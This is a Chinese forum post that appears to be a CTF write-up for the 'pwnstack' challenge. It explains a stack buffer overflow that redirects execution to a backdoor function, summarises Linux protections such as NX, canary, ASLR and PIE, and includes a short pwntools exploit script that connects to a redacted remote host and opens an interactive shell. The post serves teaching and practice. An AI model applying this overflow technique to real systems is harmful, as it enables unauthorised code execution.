[Python] 攻防世界pwnstack WP

1460 0
狼毛 2024-3-6 20:06:53 | 显示全部楼层 |阅读模式
本帖最后由 狼毛 于 2024-3-14 20:49 编辑

从main函数来看代码

可看到,main函数运行到vuln函数

将vuln函数的堆栈填充0xA0个’a’后。堆栈刚好全填充完
这里的read api(api是应用程序接口),会写入0xB1个值,这个值大于0xA0,怎么办?这就是栈溢出了。这17个字节,里面是什么值,也不是固定的。可是,vuln函数会继续执行

从read堆栈填充0x8个’a’后,到达很乱的栈空间中,我们用剩下的空间填入0x400762,就是backdoor的地址。理论上,backdoor函数就运行了。
我随后上传这个pwn程序。在linux系统上。保护机制是这样的:
Linux系统保护机制
 NX(DEP):数据执行防护
 Canary(FS):栈溢出保护
 RELRO(ASLR):(地址随机化)
 PIE(代码地址随机化)
NX:
栈上的数据没有执行权限
防止攻击手段:栈溢出 + 跳到栈上执行shellcode
CANARY:
在函数开始时就随机产生一个值,将这个值CANARY
放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲
区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆
盖掉CANARY的值;当程序结束时,程序会检查
CANARY这个值和之前的是否一致,如果不一致,则
不会往下运行,从而避免了缓冲区溢出攻击。
防止攻击手段:所有单纯的栈溢出
ASLR:
堆栈地址随机化
防止攻击手段:所有需要用到堆栈精确地址的攻击,要想成功,
必须用提前泄露地址
PIE:
代码部分地址无关
防止攻击手段:构造ROP链攻击

  1. from pwn import *

  2. io = remote(‘xxx.xxx.xxx.xxx’, 55568)
  3. s=0x400762
  4. p =0xa0b’a’+ 0x8b’a’+p64(s)
  5. io.send(p)
  6. io.interactive()
复制代码

这是溢出代码。
p64()的p64的含义是:p64为将数字根据端序转为64位的字节流。

python3版本的pwntools的payload的字符串之前需要加上b前缀
然后,看看运行结果:
来自圈子: 中国红客联盟第五战区

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

狼毛

精英红客

关注
  • 206
    主题
  • 2
    粉丝
  • 1
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行